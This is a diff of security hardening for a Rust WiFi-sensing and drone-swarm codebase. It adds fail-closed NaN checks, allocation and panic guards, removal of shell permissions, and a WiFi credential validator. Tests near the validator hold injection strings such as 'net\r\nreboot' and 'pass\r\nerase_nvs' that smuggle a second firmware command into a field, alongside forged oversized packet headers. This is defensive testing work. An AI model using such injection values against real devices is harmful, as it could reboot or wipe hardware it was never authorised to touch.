+    #[test]
+    fn non_finite_scene_input_flags_frame_instead_of_silently_zeroing() {
+        // Security pinning (NaN-state-poisoning guard): a NaN dipole position
+        // makes `r_norm` NaN, which bypasses the near-field clamp
+        // (`NaN < R_MIN_M` is false) and yields a NaN field. Pre-fix the
+        // digitiser silently coerced that NaN to code 0 with the saturation
+        // flag CLEAR — a frame indistinguishable from a real zero-field
+        // reading. Post-fix the frame must carry ADC_SATURATED so the
+        // corruption is visible downstream.
+        let mut scene = Scene::new();
+        scene.add_dipole(DipoleSource::new([f64::NAN, 0.0, 0.5], [0.0, 0.0, 1.0e-3]));
+        scene.add_sensor([0.0, 0.0, 0.0]);
+        let cfg = PipelineConfig {
+            sensor: NvSensorConfig {
+                shot_noise_disabled: true,
+                ..NvSensorConfig::default()
+            },
+            ..PipelineConfig::default()
+        };
+        let frames = Pipeline::new(scene, cfg, 0).run(4);
+        for f in &frames {
+            assert!(
+                f.has_flag(flag::ADC_SATURATED),
+                "non-finite field must raise ADC_SATURATED, not emit a silent zero frame"
+            );
+            // And the emitted value is a defined number, not NaN.
+            for b in f.b_pt {
+                assert!(b.is_finite());
+            }
+        }
+    }
+
     #[test]
     fn adc_saturation_flag_fires_above_full_scale() {
         // Place a dipole close enough to drive the field above ±10 µT FS.

v2/crates/ruview-swarm/src/failsafe/mod.rs

@@ -47,8 +47,18 @@ impl FailSafeMachine {
         link_alive: bool,
         nearest_neighbor_dist: f64,
     ) -> FailSafeState {
-        // Collision avoidance has highest priority
-        if nearest_neighbor_dist < self.collision_dist_m {
+        // Collision avoidance has highest priority.
+        //
+        // Fail CLOSED on a non-finite neighbour distance. `nearest_neighbor_dist`
+        // is derived from peer positions (see
+        // `SwarmOrchestrator::nearest_peer_distance`), which arrive over the
+        // untrusted swarm comm layer as `DroneState` values whose f64 position
+        // fields can deserialize to NaN/Inf. A naive `NaN < collision_dist_m`
+        // evaluates to `false`, silently DISABLING collision avoidance — the
+        // worst possible failure for a physical drone. Treat a non-finite
+        // distance as "too close" so the swarm diverges rather than trusting a
+        // poisoned reading.
+        if !nearest_neighbor_dist.is_finite() || nearest_neighbor_dist < self.collision_dist_m {
             self.state = FailSafeState::EmergencyDiverge;
             return self.state.clone();
         }
@@ -71,8 +81,11 @@ impl FailSafeMachine {
             }
         }
 
-        // Battery checks
-        if state.battery_pct <= self.battery_rth_pct {
+        // Battery checks. A non-finite battery reading (NaN/Inf from a corrupt or
+        // forged telemetry/peer message) must fail CLOSED: `NaN <= threshold` is
+        // `false`, which would otherwise let a drone with an unknown battery
+        // level keep flying nominally. Treat a non-finite reading as critical.
+        if !state.battery_pct.is_finite() || state.battery_pct <= self.battery_rth_pct {
             self.state = FailSafeState::ReturnToHome;
         } else if state.battery_pct <= self.battery_warn_pct {
             self.state = FailSafeState::LowBatteryWarn;
@@ -144,4 +157,35 @@ mod tests {
         let result = fsm.tick(&s, true, 0.5); // too close
         assert_eq!(result, FailSafeState::EmergencyDiverge);
     }
+
+    /// Security: a NaN neighbour distance (poisoned peer position over the swarm
+    /// comm layer) must NOT silently disable collision avoidance. Fails on old
+    /// code where `NaN < collision_dist_m` is `false` and the state stays Nominal.
+    #[test]
+    fn test_nan_neighbor_distance_fails_closed_to_diverge() {
+        let mut fsm = FailSafeMachine::new();
+        let s = good_state();
+        let result = fsm.tick(&s, true, f64::NAN);
+        assert_eq!(
+            result,
+            FailSafeState::EmergencyDiverge,
+            "non-finite neighbour distance must fail closed to EmergencyDiverge"
+        );
+    }
+
+    /// Security: a NaN battery reading must fail closed to ReturnToHome rather
+    /// than being treated as a healthy battery. Fails on old code where
+    /// `NaN <= battery_rth_pct` is `false` and the drone stays Nominal.
+    #[test]
+    fn test_nan_battery_fails_closed_to_rth() {
+        let mut fsm = FailSafeMachine::new();
+        let mut s = good_state();
+        s.battery_pct = f32::NAN;
+        let result = fsm.tick(&s, true, 10.0);
+        assert_eq!(
+            result,
+            FailSafeState::ReturnToHome,
+            "non-finite battery must fail closed to ReturnToHome"
+        );
+    }
 }

v2/crates/ruview-swarm/src/security/antijamming.rs

@@ -59,8 +59,16 @@ impl FhssRadio {
     }
 
     /// Returns the current active channel frequency in MHz.
+    ///
+    /// `FhssConfig` is `Deserialize`, so `channels_mhz` can arrive empty from a
+    /// malformed or hostile config. An empty channel list would make `% n`
+    /// (n = 0) panic with a divide-by-zero. Guard it and return a benign `0.0`
+    /// sentinel instead of crashing the radio task (DoS-resistance).
     pub fn current_channel_mhz(&self) -> f64 {
         let n = self.config.channels_mhz.len();
+        if n == 0 {
+            return 0.0;
+        }
         // XOR node seed into hop index so each node uses a different offset
         let idx = (self.hop_index ^ (self.node_seed as usize)) % n;
         self.config.channels_mhz[idx]
@@ -68,7 +76,11 @@ impl FhssRadio {
 
     /// Advance the hop sequence by one step (call at hop_rate_hz).
     pub fn next_hop(&mut self) {
-        self.hop_index = (self.hop_index + 1) % self.config.channels_mhz.len();
+        let n = self.config.channels_mhz.len();
+        if n == 0 {
+            return; // no channels configured — nothing to hop (avoid `% 0` panic)
+        }
+        self.hop_index = (self.hop_index + 1) % n;
     }
 
     /// Update with latest RSSI measurement. Drives jamming detection.
@@ -97,9 +109,13 @@ impl FhssRadio {
             .wrapping_mul(lcg_a)
             .wrapping_add(self.evasion_count)
             .wrapping_add(lcg_c);
-        let n = self.config.channels_mhz.len() as u64;
+        let len = self.config.channels_mhz.len();
+        if len == 0 {
+            return; // no channels configured — avoid `% 0` panic
+        }
+        let n = len as u64;
         let offset = (seed % n / 4 + 3) as usize;
-        self.hop_index = (self.hop_index + offset) % self.config.channels_mhz.len();
+        self.hop_index = (self.hop_index + offset) % len;
         self.evasion_count += 1;
         self.rssi_history.clear();
     }
@@ -165,6 +181,23 @@ mod tests {
         assert_eq!(radio.hop_index, (initial_idx + 2) % 50);
     }
 
+    /// Security/DoS: an empty `channels_mhz` (deserialized from a malformed or
+    /// hostile config) must not panic with a `% 0` divide-by-zero. Fails on old
+    /// code, where `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick` all do
+    /// modulo / index by `channels_mhz.len()`.
+    #[test]
+    fn test_empty_channels_does_not_panic() {
+        let cfg = FhssConfig { channels_mhz: vec![], jamming_detect_window: 1, ..Default::default() };
+        let mut radio = FhssRadio::new(7, cfg);
+        // None of these may panic.
+        let _ = radio.current_channel_mhz();
+        radio.next_hop();
+        radio.observe_rssi(-99.0); // window=1 → jamming_detected() true → evasive_hop()
+        radio.tick(100.0);
+        radio.evasive_hop();
+        assert_eq!(radio.current_channel_mhz(), 0.0, "empty channel list returns sentinel");
+    }
+
     #[test]
     fn test_channel_in_valid_range() {
         let cfg = FhssConfig::default();

v2/crates/ruview-swarm/src/security/geofence.rs

@@ -27,6 +27,16 @@ pub enum GeofenceResult {
 impl Geofence {
     /// Check a position against this geofence.
     pub fn check(&self, pos: &Position3D) -> GeofenceResult {
+        // Fail CLOSED on a non-finite position. A NaN/Inf component (from a
+        // corrupt GPS/EKF estimate or a forged position) makes every subsequent
+        // comparison false: `NaN < min || NaN > max` is `false`, so the altitude
+        // breach is skipped, and a NaN altitude with otherwise-valid x/y would
+        // return `Safe` — a silent geofence bypass on a flight-safety boundary.
+        // Treat any non-finite coordinate as a hard breach.
+        if !pos.x.is_finite() || !pos.y.is_finite() || !pos.z.is_finite() {
+            return GeofenceResult::HardBreach;
+        }
+
         let altitude_m = -pos.z; // NED: negative z = altitude above ground
 
         // Altitude check
@@ -146,4 +156,29 @@ mod tests {
         let pos = Position3D { x: 50.0, y: 50.0, z: -200.0 }; // 200m altitude
         assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
     }
+
+    /// Security: a NaN altitude with an otherwise in-bounds x/y must fail closed
+    /// to HardBreach. Fails on old code where `NaN < min || NaN > max` is `false`,
+    /// the altitude check is skipped, and the point-in-polygon path returns Safe —
+    /// a silent geofence bypass.
+    #[test]
+    fn test_nan_altitude_fails_closed() {
+        let f = square_fence();
+        let pos = Position3D { x: 50.0, y: 50.0, z: f64::NAN };
+        assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
+    }
+
+    /// Security: NaN/Inf horizontal coordinates must also fail closed.
+    #[test]
+    fn test_nonfinite_horizontal_fails_closed() {
+        let f = square_fence();
+        assert_eq!(
+            f.check(&Position3D { x: f64::NAN, y: 50.0, z: -30.0 }),
+            GeofenceResult::HardBreach
+        );
+        assert_eq!(
+            f.check(&Position3D { x: 50.0, y: f64::INFINITY, z: -30.0 }),
+            GeofenceResult::HardBreach
+        );
+    }
 }

v2/crates/ruview-swarm/src/sensing/multiview.rs

@@ -64,10 +64,25 @@ impl MultiViewFusion {
         detections: &[CsiDetection],
         drone_positions: &[(NodeId, Position3D)],
     ) -> Option<FusedDetection> {
-        // Filter by confidence and require estimated position
+        // Filter by confidence and require a FINITE estimated position.
+        //
+        // A peer detection (received via `receive_peer_detection`) carries f32/f64
+        // fields that can deserialize to NaN/Inf. A NaN `victim_position` passes
+        // `is_some()` and would propagate through the confidence-weighted average
+        // into the fused position — dispatching a NaN "confirmed victim" location
+        // to the swarm. A NaN `confidence` is already rejected by `>= min_confidence`
+        // (NaN comparisons are false), but we make that explicit and also require
+        // the victim position components to be finite. Fail CLOSED: drop poisoned
+        // detections rather than fusing them.
         let valid: Vec<(&CsiDetection, &Position3D)> = detections
             .iter()
-            .filter(|d| d.confidence >= self.min_confidence && d.victim_position.is_some())
+            .filter(|d| {
+                d.confidence.is_finite()
+                    && d.confidence >= self.min_confidence
+                    && d.victim_position
+                        .map(|p| p.x.is_finite() && p.y.is_finite() && p.z.is_finite())
+                        .unwrap_or(false)
+            })
             .filter_map(|d| {
                 let drone_pos = drone_positions
                     .iter()
@@ -177,4 +192,46 @@ mod tests {
             result.uncertainty_m
         );
     }
+
+    /// Security: a detection with a NaN victim position (poisoned peer report)
+    /// must be dropped, not fused. Fails on old code where the NaN propagates
+    /// into the confidence-weighted average and the fused position is NaN.
+    #[test]
+    fn test_nan_victim_position_dropped_from_fusion() {
+        let fusion = MultiViewFusion { min_viewpoints: 2, min_confidence: 0.5 };
+        let detections = vec![
+            CsiDetection {
+                drone_id: NodeId(0),
+                confidence: 0.9,
+                victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
+                timestamp_ms: 0,
+            },
+            CsiDetection {
+                drone_id: NodeId(1),
+                confidence: 0.9,
+                victim_position: Some(Position3D { x: f64::NAN, y: 50.0, z: 0.0 }),
+                timestamp_ms: 0,
+            },
+            CsiDetection {
+                drone_id: NodeId(2),
+                confidence: 0.9,
+                victim_position: Some(Position3D { x: 50.0, y: 50.0, z: 0.0 }),
+                timestamp_ms: 0,
+            },
+        ];
+        let positions = vec![
+            (NodeId(0), Position3D { x: 0.0, y: 0.0, z: -30.0 }),
+            (NodeId(1), Position3D { x: 100.0, y: 0.0, z: -30.0 }),
+            (NodeId(2), Position3D { x: 50.0, y: 86.6, z: -30.0 }),
+        ];
+        // Two finite viewpoints remain → still fuses, but the result must be finite.
+        let result = fusion.fuse(&detections, &positions).unwrap();
+        assert!(
+            result.estimated_position.x.is_finite()
+                && result.estimated_position.y.is_finite()
+                && result.estimated_position.z.is_finite(),
+            "fused position must be finite when a NaN detection is present"
+        );
+        assert!(!result.contributing_drones.contains(&NodeId(1)), "NaN detection must be excluded");
+    }
 }

v2/crates/wifi-densepose-cli/src/calibrate.rs

@@ -471,6 +471,54 @@ mod tests {
         assert!(ht.record(&f).is_err());
     }
 
+    /// Security pin (review 2026-06, ADR-127): the UDP parser is the CLI's
+    /// widest attack surface — `calibrate` / `enroll` / `room-watch` bind it to
+    /// 0.0.0.0 by default, so any host on the LAN can send arbitrary bytes. A
+    /// header that *claims* a huge `n_antennas * n_subcarriers` must be rejected
+    /// by the length check BEFORE the `Array2::zeros` allocation, so a single
+    /// small datagram can never trigger a multi-MB allocation (unbounded-memory
+    /// DoS). The largest possible claim (255 × 65535 pairs ≈ 33 MB of IQ) inside
+    /// a RECV_BUF-sized (2048-byte) datagram parses to `None`, never OOMs.
+    #[test]
+    fn test_parse_csi_packet_oversized_claim_is_rejected_not_allocated() {
+        let mut buf = vec![0u8; RECV_BUF];
+        buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
+        buf[4] = 1; // node_id
+        buf[5] = 255; // n_antennas (max)
+        buf[6..8].copy_from_slice(&65535u16.to_le_bytes()); // n_subcarriers (max)
+        buf[8..12].copy_from_slice(&2432u32.to_le_bytes());
+        // n_pairs = 255 * 65535 = 16_711_425 → needs ~33 MB of IQ bytes that a
+        // 2048-byte datagram cannot carry → length check fails → None.
+        assert!(parse_csi_packet(&buf, "ht20").is_none());
+    }
+
+    /// Security pin (review 2026-06): the parser must never panic on ANY byte
+    /// string — truncated headers, lying length fields, odd sizes. IQ-loop
+    /// indexing is guarded by the length check; this sweeps a spread of
+    /// adversarial inputs to lock in panic-on-adversarial-input = 0.
+    #[test]
+    fn test_parse_csi_packet_never_panics_on_arbitrary_bytes() {
+        let mut st = 0x1234_5678u64;
+        let mut next = move || {
+            st = st
+                .wrapping_mul(6_364_136_223_846_793_005)
+                .wrapping_add(1_442_695_040_888_963_407);
+            (st >> 33) as u8
+        };
+        for len in 0..600usize {
+            let buf: Vec<u8> = (0..len).map(|_| next()).collect();
+            for tier in ["ht20", "he20", "garbage"] {
+                let _ = parse_csi_packet(&buf, tier);
+            }
+        }
+        // Valid magic, lying n_subcarriers, no payload → None (not a panic).
+        let mut buf = vec![0u8; 20];
+        buf[0..4].copy_from_slice(&0xC511_0001u32.to_le_bytes());
+        buf[5] = 3;
+        buf[6..8].copy_from_slice(&500u16.to_le_bytes());
+        assert!(parse_csi_packet(&buf, "ht20").is_none());
+    }
+
     #[test]
     fn test_freq_to_channel_24ghz() {
         assert_eq!(freq_mhz_to_channel(2437), 6);

v2/crates/wifi-densepose-core/src/types.rs

@@ -1636,6 +1636,67 @@ mod tests {
         }
     }
 
+    /// Security pin (review 2026-06, ADR-127) — `from_canonical_bytes` is a
+    /// deserialisation boundary for replayed/forwarded captures. A forged header
+    /// advertising an enormous `rows × cols` must be rejected by the
+    /// shape-vs-length check (`expect` uses saturating multiplies) BEFORE the
+    /// `Vec::with_capacity(rows * cols)` allocation — otherwise an attacker could
+    /// drive a multi-GB allocation from a few header bytes (unbounded-memory
+    /// DoS). The check guarantees `rows*cols*16 <= bytes.len()`, so the capacity
+    /// is bounded by the input the caller already holds. This must not OOM.
+    #[test]
+    fn canonical_decode_oversized_shape_is_bounded_not_allocated() {
+        use ndarray::Array2;
+        let meta = CsiMetadata::new(DeviceId::new("n"), FrequencyBand::Band2_4GHz, 1);
+        let data = Array2::from_shape_fn((1, 2), |(_, c)| Complex64::new(c as f64, 0.0));
+        let mut bytes = CsiFrame::new(meta, data).to_canonical_bytes();
+
+        // The (rows, cols) u32 pair is the last 8 bytes before the payload.
+        // Overwrite with a maximal claim (u32::MAX × u32::MAX) and lop off the
+        // payload so the buffer is tiny but the header lies enormously.
+        let shape_off = bytes.len() - 8 - 2 * 16; // 2 samples × 16 bytes payload
+        bytes[shape_off..shape_off + 4].copy_from_slice(&u32::MAX.to_le_bytes());
+        bytes[shape_off + 4..shape_off + 8].copy_from_slice(&u32::MAX.to_le_bytes());
+        bytes.truncate(shape_off + 8); // drop the real payload
+
+        // expect = MAX*MAX*16 (saturated) > found → PayloadMismatch, no alloc.
+        assert!(matches!(
+            CsiFrame::from_canonical_bytes(&bytes),
+            Err(CanonicalDecodeError::PayloadMismatch { .. })
+        ));
+    }
+
+    /// Security pin (review 2026-06) — the decoder must never panic on arbitrary
+    /// bytes: every malformed input is a typed `CanonicalDecodeError`, never an
+    /// unwinding panic (panic-on-adversarial-input = 0). Sweep truncations and a
+    /// deterministic fuzz spread.
+    #[test]
+    fn canonical_decode_never_panics_on_arbitrary_bytes() {
+        use ndarray::Array2;
+        let mut meta = CsiMetadata::new(DeviceId::new("node"), FrequencyBand::Band5GHz, 36);
+        meta.antenna_config.spacing_mm = Some(50.0);
+        let data = Array2::from_shape_fn((2, 8), |(r, c)| Complex64::new(r as f64, c as f64));
+        let good = CsiFrame::new(meta, data).to_canonical_bytes();
+
+        // Every prefix of a valid encoding must decode without panicking.
+        for n in 0..good.len() {
+            let _ = CsiFrame::from_canonical_bytes(&good[..n]);
+        }
+        // Deterministic LCG fuzz over varied lengths.
+        let mut st = 0xDEAD_BEEFu64;
+        for len in 0..400usize {
+            let buf: Vec<u8> = (0..len)
+                .map(|_| {
+                    st = st
+                        .wrapping_mul(6_364_136_223_846_793_005)
+                        .wrapping_add(1_442_695_040_888_963_407);
+                    (st >> 33) as u8
+                })
+                .collect();
+            let _ = CsiFrame::from_canonical_bytes(&buf);
+        }
+    }
+
     /// AC8c (review finding 7) — `Some(Uuid::nil())` calibration is an
     /// encoding error: nil is the wire sentinel for `None`, so encoding it
     /// would alias two distinct frames to one byte string (and one witness).

v2/crates/wifi-densepose-desktop/capabilities/default.json

@@ -4,8 +4,6 @@
   "windows": ["main"],
   "permissions": [
     "core:default",
-    "shell:allow-execute",
-    "shell:allow-open",
     "dialog:allow-open",
     "dialog:allow-save"
   ]

v2/crates/wifi-densepose-desktop/gen/schemas/capabilities.json

@@ -1 +1 @@
-{"default":{"identifier":"default","description":"RuView default capability set","local":true,"windows":["main"],"permissions":["core:default","shell:allow-execute","shell:allow-open","dialog:allow-open","dialog:allow-save"]}}
+{"default":{"identifier":"default","description":"RuView default capability set","local":true,"windows":["main"],"permissions":["core:default","dialog:allow-open","dialog:allow-save"]}}

v2/crates/wifi-densepose-desktop/src/commands/discovery.rs

@@ -430,6 +430,35 @@ fn is_esp32_compatible(vid: u16, pid: u16) -> bool {
     false
 }
 
+/// Validate WiFi credentials before they are interpolated into a
+/// newline-delimited serial command protocol.
+///
+/// The ESP32 firmware accepts line-oriented commands such as
+/// `wifi_config <ssid> <password>\r\n`. Because the SSID and password
+/// arrive from the webview (untrusted) and are concatenated directly into
+/// those command strings, a control character (`\r`, `\n`, or NUL) embedded
+/// in either field would let a malicious caller terminate the current line
+/// early and inject an arbitrary follow-up command (e.g. `reboot`, `erase`).
+///
+/// Enforce the IEEE 802.11 / WPA2 bounds and reject any control characters:
+/// - SSID: 1-32 bytes, no control characters
+/// - Password: 8-63 bytes (WPA2 PSK ASCII range), no control characters
+fn validate_wifi_credentials(ssid: &str, password: &str) -> Result<(), String> {
+    if ssid.is_empty() || ssid.len() > 32 {
+        return Err("SSID must be 1-32 characters".into());
+    }
+    if password.len() < 8 || password.len() > 63 {
+        return Err("WiFi password must be 8-63 characters".into());
+    }
+    if ssid.chars().any(|c| c.is_control()) {
+        return Err("SSID must not contain control characters".into());
+    }
+    if password.chars().any(|c| c.is_control()) {
+        return Err("WiFi password must not contain control characters".into());
+    }
+    Ok(())
+}
+
 /// Configure WiFi credentials on an ESP32 via serial port.
 ///
 /// Sends WiFi credentials to the ESP32 using a simple serial protocol.
@@ -443,6 +472,10 @@ pub async fn configure_esp32_wifi(
     use std::io::{Read, Write};
     use std::time::Duration;
 
+    // Reject control characters / out-of-range lengths before the credentials
+    // are spliced into the line-oriented serial command protocol below.
+    validate_wifi_credentials(&ssid, &password)?;
+
     tracing::info!("Configuring WiFi on port: {}", port);
 
     // Open serial port
@@ -549,6 +582,37 @@ mod tests {
         assert_eq!(node.tdm_total, Some(4));
     }
 
+    #[test]
+    fn test_validate_wifi_credentials_accepts_valid() {
+        assert!(validate_wifi_credentials("MyNetwork", "password123").is_ok());
+        // Boundary: 32-char SSID, 63-char password are allowed.
+        assert!(validate_wifi_credentials(&"A".repeat(32), &"B".repeat(63)).is_ok());
+        // Boundary: 8-char password (WPA2 minimum) is allowed.
+        assert!(validate_wifi_credentials("net", "12345678").is_ok());
+    }
+
+    #[test]
+    fn test_validate_wifi_credentials_rejects_injection() {
+        // Newline/CR in SSID would terminate the serial command line early and
+        // let the caller inject a follow-up firmware command. Must be rejected.
+        assert!(validate_wifi_credentials("net\r\nreboot", "password123").is_err());
+        assert!(validate_wifi_credentials("net\ninjected", "password123").is_err());
+        // Same vector via the password field.
+        assert!(validate_wifi_credentials("net", "pass\r\nerase_nvs").is_err());
+        // Embedded NUL.
+        assert!(validate_wifi_credentials("net", "pass\0word1").is_err());
+    }
+
+    #[test]
+    fn test_validate_wifi_credentials_rejects_out_of_range() {
+        // Empty / over-length SSID.
+        assert!(validate_wifi_credentials("", "password123").is_err());
+        assert!(validate_wifi_credentials(&"A".repeat(33), "password123").is_err());
+        // Too-short / too-long password (WPA2 PSK bounds).
+        assert!(validate_wifi_credentials("net", "short").is_err());
+        assert!(validate_wifi_credentials("net", &"B".repeat(64)).is_err());
+    }
+
     #[test]
     fn test_is_esp32_compatible() {
         // CP2102

v2/crates/wifi-densepose-mat/benches/detection_bench.rs

@@ -220,6 +220,9 @@ fn create_test_sensors(count: usize) -> Vec<SensorPosition> {
                 z: 1.5,
                 sensor_type: SensorType::Transceiver,
                 is_operational: true,
+                // No live RSSI plumbed for synthetic bench sensors (simulated
+                // zone) — localization must not fabricate one.
+                last_rssi: None,
             }
         })
         .collect()

v2/crates/wifi-densepose-occworld-candle/src/inference.rs

@@ -206,6 +206,27 @@ impl OccWorldCandle {
             )));
         }
 
+        // Validate the externally-supplied frame and batch counts at this
+        // system boundary. The temporal positional embedding has only
+        // `num_frames * 2` rows, so a larger `f_in` would over-index the
+        // embedding table deep inside the transformer and surface as a cryptic
+        // "gather" index error; a zero frame/batch count would feed a
+        // zero-element tensor into the reshape/conv pipeline. Reject both here
+        // with a clear, domain-level error instead.
+        if f_in == 0 || b == 0 {
+            return Err(OccWorldError::ShapeMismatch(format!(
+                "past_occupancy must have non-zero batch and frame dims, got \
+                 batch={b}, frames={f_in}"
+            )));
+        }
+        if f_in > cfg.num_frames * 2 {
+            return Err(OccWorldError::ShapeMismatch(format!(
+                "past_occupancy frame count {f_in} exceeds the temporal embedding \
+                 capacity ({} = num_frames*2)",
+                cfg.num_frames * 2
+            )));
+        }
+
         // ── Step 1: VQVAE encode each past frame ──────────────────────────
         // Flatten batch*frames: (B, F, H, W, D) → (B*F, H, W, D)
         let occ_flat = past_occupancy
@@ -455,4 +476,8 @@ mod tests {
             "expected CheckpointNotFound, got {result:?}"
         );
     }
+
+    // The `predict` input-validation boundary guards (zero/over-capacity frame
+    // counts) live in `tests/input_validation.rs` so they exercise only the
+    // public API and keep this file under the 500-line limit.
 }

v2/crates/wifi-densepose-occworld-candle/src/model.rs

@@ -92,8 +92,21 @@ fn safetensor_dtype_to_candle(dt: safetensors::Dtype) -> Option<candle_core::DTy
         Dtype::F64 => Some(DType::F64),
         Dtype::F16 => Some(DType::F16),
         Dtype::BF16 => Some(DType::BF16),
-        Dtype::I32 => Some(DType::I64), // widen for Candle compatibility
+        // I32 MUST map to DType::I32, not I64. `Tensor::from_raw_buffer`
+        // derives its element count from `data.len() / dtype.size_in_bytes()`;
+        // handing an int32 byte buffer (4 bytes/elem) to the I64 path
+        // (8 bytes/elem) halves the element count while keeping the original
+        // shape, producing a tensor whose declared shape claims twice as many
+        // elements as its storage holds. That silent shape/storage mismatch
+        // panics (slice OOB) the moment the tensor is read — a crash on any
+        // checkpoint containing an int32 tensor. See
+        // `tests/checkpoint_loading.rs::int32_tensor_loads_with_consistent_shape_and_values`.
+        Dtype::I32 => Some(DType::I32),
         Dtype::I64 => Some(DType::I64),
+        // I16 is also a first-class Candle dtype (2 bytes/elem); map it
+        // directly rather than rejecting it, for the same byte-size-correctness
+        // reason as I32 above.
+        Dtype::I16 => Some(DType::I16),
         Dtype::U8 => Some(DType::U8),
         Dtype::U32 => Some(DType::U32),
         _ => None,

v2/crates/wifi-densepose-occworld-candle/src/vqvae.rs

@@ -137,6 +137,17 @@ impl VQCodebook {
         let orig_shape = z.shape().clone();
         let orig_dims = orig_shape.dims().to_vec();
         let last = *orig_shape.dims().last().unwrap_or(&0);
+        // Guard the divide below: a scalar (rank-0) or empty-last-dim tensor
+        // would make `last == 0` and panic on the `elem_count() / last`
+        // division. `encode` is a `pub fn` on a `pub struct`, so this is a
+        // reachable public boundary — fail closed with a clear error instead.
+        if last == 0 {
+            return Err(candle_core::Error::Msg(format!(
+                "VQCodebook::encode expects a tensor with a non-zero last dim of \
+                 size embed_dim={}, got shape {orig_dims:?}",
+                self.embed_dim
+            )));
+        }
         // Flatten to (N, embed_dim)
         let n = z.elem_count() / last;
         let z_flat = z.reshape((n, last))?; // (N, D)
@@ -339,6 +350,21 @@ mod tests {
         Ok(())
     }
 
+    #[test]
+    fn encode_rejects_scalar_without_panicking() {
+        // A rank-0 (scalar) tensor has an empty dims list → `last == 0`.
+        // Before the guard this divided by zero and panicked; now it returns
+        // a clean error. `encode` is public, so this is a reachable boundary.
+        let device = Device::Cpu;
+        let codebook = VQCodebook::dummy(4, 8, &device).unwrap();
+        let scalar = Tensor::from_vec(vec![1.0f32], (), &device).unwrap();
+        let result = codebook.encode(&scalar);
+        assert!(
+            result.is_err(),
+            "scalar input must error, not panic; got {result:?}"
+        );
+    }
+
     #[test]
     fn test_fold_unfold_roundtrip() -> candle_core::Result<()> {
         let device = Device::Cpu;

v2/crates/wifi-densepose-occworld-candle/tests/checkpoint_loading.rs

@@ -0,0 +1,185 @@
+//! Checkpoint-loading robustness tests for `crate::model::load_safetensors`.
+//!
+//! Security review (Milestone #9, crate 4/4). These tests pin the behaviour of
+//! the SafeTensors weight-loading path against malformed / degenerate
+//! checkpoints — the only externally-controlled file-input surface in the crate.
+//!
+//! The headline regression is the **int32 dtype-widening byte-size bug**
+//! (`security/occworld-candle` finding #1): `model.rs` mapped
+//! `safetensors::Dtype::I32` → `candle_core::DType::I64` and then handed the
+//! raw *int32* byte buffer (4 bytes/elem) to `Tensor::from_raw_buffer(.., I64,
+//! shape, ..)`. Candle's `from_raw_buffer` computes `elem_count =
+//! data.len() / 8`, producing a tensor whose declared shape claims twice as
+//! many elements as the backing storage actually holds — a silent
+//! shape/storage inconsistency on attacker-supplied checkpoints.
+//!
+//! `build_safetensors` hand-assembles the binary container
+//! (`<u64 LE header_len><JSON header><raw data>`) so the test states exactly
+//! what bytes reach the loader, independent of the `safetensors` writer API.
+
+use candle_core::Device;
+use wifi_densepose_occworld_candle::model::load_safetensors;
+
+/// Hand-build a single-tensor SafeTensors buffer.
+///
+/// `dtype` is the safetensors dtype string (e.g. `"I32"`, `"F32"`).
+/// `shape` is the declared shape. `data` is the raw little-endian tensor bytes
+/// — the caller is responsible for making `data.len()` consistent with
+/// `shape × dtype_size` (safetensors itself validates this, so an inconsistent
+/// pair is rejected before reaching the candle conversion).
+fn build_safetensors(name: &str, dtype: &str, shape: &[usize], data: &[u8]) -> Vec<u8> {
+    let shape_json: Vec<String> = shape.iter().map(|d| d.to_string()).collect();
+    let header = format!(
+        "{{\"{name}\":{{\"dtype\":\"{dtype}\",\"shape\":[{}],\"data_offsets\":[0,{}]}}}}",
+        shape_json.join(","),
+        data.len()
+    );
+    let header_bytes = header.into_bytes();
+    let mut buf = Vec::new();
+    buf.extend_from_slice(&(header_bytes.len() as u64).to_le_bytes());
+    buf.extend_from_slice(&header_bytes);
+    buf.extend_from_slice(data);
+    buf
+}
+
+fn write_temp(bytes: &[u8], stem: &str) -> std::path::PathBuf {
+    let mut p = std::env::temp_dir();
+    p.push(format!(
+        "occworld_ckpt_{stem}_{}_{}.safetensors",
+        std::process::id(),
+        // nanosecond-ish disambiguator so parallel tests never collide
+        std::time::SystemTime::now()
+            .duration_since(std::time::UNIX_EPOCH)
+            .map(|d| d.as_nanos())
+            .unwrap_or(0)
+    ));
+    std::fs::write(&p, bytes).expect("write temp checkpoint");
+    p
+}
+
+/// REGRESSION (finding #1): an int32 tensor in a checkpoint must load into a
+/// tensor whose element count matches its declared shape.
+///
+/// On the OLD code (`I32 -> DType::I64`) the 6-element int32 tensor below was
+/// handed to `from_raw_buffer(.., I64, [2,3], ..)`, which derived
+/// `elem_count = 24 bytes / 8 = 3` and built a 3-element storage carrying a
+/// shape claiming 6 elements — reading it panicked with a slice-OOB
+/// (`range end index 6 out of range for slice of length 3`). On the FIXED code
+/// (`I32 -> DType::I32`) the tensor round-trips: dtype I32, 6 elements,
+/// values `[1,2,3,4,5,6]`.
+#[test]
+fn int32_tensor_loads_with_consistent_shape_and_values() {
+    let device = Device::Cpu;
+    let shape = [2usize, 3];
+    let vals: [i32; 6] = [1, 2, 3, 4, 5, 6];
+    let mut data = Vec::with_capacity(24);
+    for v in vals {
+        data.extend_from_slice(&v.to_le_bytes());
+    }
+    let bytes = build_safetensors("quantize.embedding.weight", "I32", &shape, &data);
+    let path = write_temp(&bytes, "i32");
+
+    let map = load_safetensors(&path, &device).expect("int32 checkpoint must load");
+    let t = map
+        .get("quantize.embedding.weight")
+        .expect("mapped key present");
+
+    // The declared shape's element count MUST equal the storage's element
+    // count. On the old code these disagreed (6 vs 3).
+    assert_eq!(
+        t.dims(),
+        &[2, 3],
+        "int32 tensor must preserve its declared shape"
+    );
+    assert_eq!(
+        t.elem_count(),
+        6,
+        "element count must match shape — storage/shape consistency"
+    );
+
+    // The dtype must be I32 — the int32 byte buffer is interpreted as int32,
+    // not reinterpreted as half as many int64 lanes.
+    assert_eq!(
+        t.dtype(),
+        candle_core::DType::I32,
+        "int32 checkpoint tensor must load as DType::I32"
+    );
+
+    // And the values must be exactly recovered (no reinterpretation of two
+    // int32 lanes as one int64). This is the strongest proof the dtype is
+    // handled correctly end-to-end.
+    let flat = t.flatten_all().expect("flatten");
+    let got: Vec<i32> = flat.to_vec1::<i32>().expect("to_vec i32");
+    assert_eq!(
+        got,
+        vec![1i32, 2, 3, 4, 5, 6],
+        "int32 values must be recovered exactly"
+    );
+
+    let _ = std::fs::remove_file(&path);
+}
